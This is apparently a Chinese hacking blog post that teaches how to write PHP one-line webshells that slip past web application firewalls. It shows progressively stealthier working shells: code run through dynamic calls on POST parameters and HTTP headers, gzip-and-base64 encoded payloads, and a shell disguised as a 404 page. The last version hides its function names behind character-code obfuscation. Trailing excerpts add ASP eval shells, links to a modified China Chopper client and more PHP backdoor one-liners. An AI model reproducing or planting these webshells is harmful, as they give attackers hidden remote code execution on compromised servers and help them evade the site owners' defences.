无特征过狗一句话猥琐思路(代码执行)

来自:https://bypass.world/2017/01/%E6%97%A0%E7%89%B9%E5%BE%81%E8%BF%87%E7%8B%97%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%80%9D%E8%B7%AF/

0x01、姿势一

我们知道php动态函数很有意思,那么你猜到了,姿势一就是:


<?php $_POST[‘xx‘]($_POST[‘oo‘]);?>

注意xx参数设置成eval是不行的哦,让我们来看看效果:

0x02、姿势二

关键词是过滤了,但是你老是post一些奇奇怪怪的东西,人家几万块买的waf也不是吃白饭的啊。好好好你丑你说什么都是对的,我们不post了,getallheaders函数能够获取请求头内容,来试试新家伙:


<?php eval(getallheaders()[‘Accept-Language‘]);>

当然你要是猥琐到这样,那恭喜你,你已经学会举一反三了。。。


<?php $a=getallheaders()[‘xxx‘];$a(getallheaders()[‘ooo‘]);>

0x03、姿势三

遇到一般的waf可能上个姿势就能 bypass了,但是还是会有一些臭不要脸的waf会检测http请求头里的内容,咱们还是从技术角度出发来看看这个问题怎么绕过,猥琐的人可能首先想到了base64,更猥琐的人可能想到了各种自写函数进行编码、替换,但是我见过最猥琐的思路是gzuncompress和gzcompress函数,话不多说我们先放shell:


<?php eval(gzuncompress(base64_decode(getallheaders()[‘xx‘])));>


http headers的里面的xx字段看起来像base64编码(其实他就是base64编码),但是解开之后发现是乱码,waf识别不出来里面的内容,哈哈是不是够猥琐呢。。如果你要是还嫌不够猥琐,那么来吧,互相伤害吧:


<?php $xx=gzuncompress(base64_decode(getallheaders()[‘xx‘]));$xx(gzuncompress(base64_decode(getallheaders()[‘oo‘])));>

0x04、姿势四

目前为止,这个shell在传输过程中已经没有任何特征了,但是管理员毕竟是吃白饭的,某日浏览小黄文可能无意间发现你的shell,一堆什么莫名的base64函数和查了半天资料也搞不懂的gzuncompress函数,管理员手一抖说不定就给删了呢,这时候你需要伪装你的shell,伪装成404是个比较安全的方法,为了防止管理员访问shell时出现未提交相应的http header导致php报错,我们再加上if判断,完整的shell如下:


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

...

<?php

$xx=getallheaders()[‘xx‘];

$oo=getallheaders()[‘oo‘];

if($xx!="" and $oo!=""){

$xx=gzuncompress(base64_decode($xx));$xx(gzuncompress(base64_decode($oo)));

}

>

</body></html>

0x05、姿势五

可能你厌倦了每次提交数据都需要进行手动编码再提交。技术的目的本身就是机器代替手工,那好用python来写一个我们专属的一句话控制端吧。不过在这之前我们需要再此改进我们的shell,使其变得更加隐蔽,更加实用。最新版的shell如下:


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p><?php

//ZUp4THFyVHl5eS9LVGN5ckF3QVZGZ1Av;

$error0="404_not_found";

$error1="400_not_found";

$error2="302_not_found";

...

$_="\x6d\x64\x35";

$__=$_($_.$_.$_);

$header_errors=chr(103).substr($__,14,1)."t".chr(97)."llh".substr($__,14,1)."aders";

$base_errors=chr(98)."\x61".chr(115).substr($__,14,1)."6"."\x34"."_".chr(100)."\x65"."c".chr(111)."d".substr($__,14,1);

$gz_errors="\x67\x7a".chr(117).chr(110)."com"."\x70\x72\x65\x73\x73";

if($header_errors()[$error1]!="" and $header_errors()[$error2]!=""){

echo $error0;

$error=$gz_errors($base_errors($base_errors($header_errors()[$error2])));$error($gz_errors($base_errors($base_errors($header_errors()[$error1]))));

echo $error0;}>

</body></html>

我们看到其实和上个姿势的差别主要是加了一些混淆,像base64、gzuncompress等这些函数都进行了动态组合,更具有迷惑性,另外执行命令前后分别有一次echo进行输出,这主要是方便我们的一句话客户端在获取服务器相应内容后能够利用正则截取真正的执行结果,而不是多了一些其他的html之类的没用的内容。

附下我们客户端的执行效果:

ps:客户端目前只写了个小框架,后面功能稍微完善点之后会放给大家玩的。

时间: 2024-10-15 07:55:24

无特征过狗一句话猥琐思路(代码执行)的相关文章

PHP后门新玩法:一款猥琐的PHP后门分析

0x00 背景 近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣.接下来就让我们一同共赏这个奇葩的Webshell吧. 0x01 细节 Webshell代码如下: <?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empt

各种过安全狗一句话木马

几个变性的asp–过防火墙 过狗效果都不错 <%Y=request("x")%> <%execute(Y)%> <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%> 这个是90sec发的 <%eval""&("e"&"v"&&

虚伪,猥琐,真诚,纯洁,情调,方法和马屁

虚伪:就是表面说一套,背后是另一套.表面可以把各种好的形容词挂在自己身上,不断的掩饰自己真实的一面. 猥琐:就是内心有见不得人龌蹉事情,对外自然流露出一种别扭,羞涩和欲盖弥彰.与虚伪相比,这个显得更卑下. 真诚:就是自己是什么样,就是什么样,无需去掩饰.对别人是什么感觉,就是什么感觉.虚伪的人也可以表现出真诚. 纯洁:在社会上感觉上是有点傻,甚至被认为是装的.不过的确有些是装的,这种就是虚伪的高手. 情调:说一些取悦人的话,但又不是很过分的那种,只是一丁点.这样依然会让人觉得愉悦. 方法:就是细

整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)

中国菜刀下载,基于原版中国菜刀优化版20160309. 下载地址: http://download.csdn.net/detail/settoken/9457567 https://pan.baidu.com/s/1jHoJxHW China chopper https://pan.baidu.com/s/1eRxEYjC 特别推荐的一个php一句话. 菜刀可以连接,过waf,过安全狗,D盾,360,php一句话木马带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下: <

编写一个猥琐的反爬虫系统是种怎样的体验

我们所处的互联网, 是一个爬虫的世界.任何一个小公司,小团队,甚至一个应届毕业生,都有可能编写爬虫,偷偷的获取数据. 当你看到“爬虫”两个字的时候, 就应该有点血脉贲张的感觉了. 爬虫就如同病毒一样无孔不入.有的爬虫肆无忌惮地访问资源,导致服务器性能下降甚至崩溃:有的爬虫如同间谍一样秘密入侵,伪装成用户获取本不应该让它获取到的数据:有的爬虫冒充搜索引擎,堂而皇之的威胁你交出数据,可能还明目张胆的写各种教程嘲笑你们,是可忍孰不可忍?! 然而,千万要忍耐,稍稍做点什么,可以在名义上让他们胜利,实际上

18岁女生公交上被猥亵 拍下猥琐男样貌并踹下车

公交车上威胁女孩被拍照并被踹下车,警方按图抓获嫌疑人. 7月21日下午,在沈阳市239路公交车上发生一起一女孩被一男子骚扰案件.沈阳警方接到报警后,立即组织相关部门开展调查,于7月27日中午将涉嫌骚扰他人的王某某(男,37岁,沈阳市铁西区人)查获.公安机关正依法对其进行审查. 沈阳18岁的女学生小艾(化名)是事件的受害人.就在公交车里,她被一名男子骚扰,她反转镜头,拍下了猥琐男.然后一脚踹向猥琐男的后腰,正巧车门打开,猥琐男被一脚踹了下去…… 小艾还是学生,目前正放暑假.当时她在工业展览馆站上了

delphi之猥琐的webserver实现

http://www.birdol.com/cainiaobiancheng/238.html delphi之猥琐的webserver实现 菜鸟编程  十五楼的鸟儿  7年前 (2009-01-01)  1266浏览  0评论 简单的webserver而已,不过实现的功能有些猥琐,可以在远程监控你的桌面一举一动~~代码如下:[code=delphi]unit Main; interface uses Windows, Messages, SysUtils, Classes, Graphics,

KVO模式 ———满足猥琐大众的 偷窥模式

KVO模式浅谈-满足猥琐男的偷窥模式 马仔哥 KVO模式 Key-Value Observing 它提供一种机制,当指定的对象的属性被修改后,则对象就会接受到通知.简单的说就是每次指定的被观察的对象的属性被修改后,KVO就会自动通知相应的观察者了. KVO其实也是"观察者"设计模式的一种应用.我的看法是,这种模式有利于两个类间的解耦合,尤其是对于 业务逻辑与视图控制 这两个功能的解耦合. 我自己的看法:我一般把KVO模式称为 偷窥模式 ,很形象,因为建立一个观察者,并且用到的回调函数,

分享一些无特征PHP一句话

分享些不需要动态函数.不用eval.不含敏感函数.免杀免拦截的一句话.(少部分一句话需要php5.4.8+.或sqlite/pdo/yaml/memcached扩展等) 原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 所有一句话使用方法基本都是: http:// target/shell.php?e=assert 密码pass 01 $e = $_REQUEST['e'];$arr = array($_PO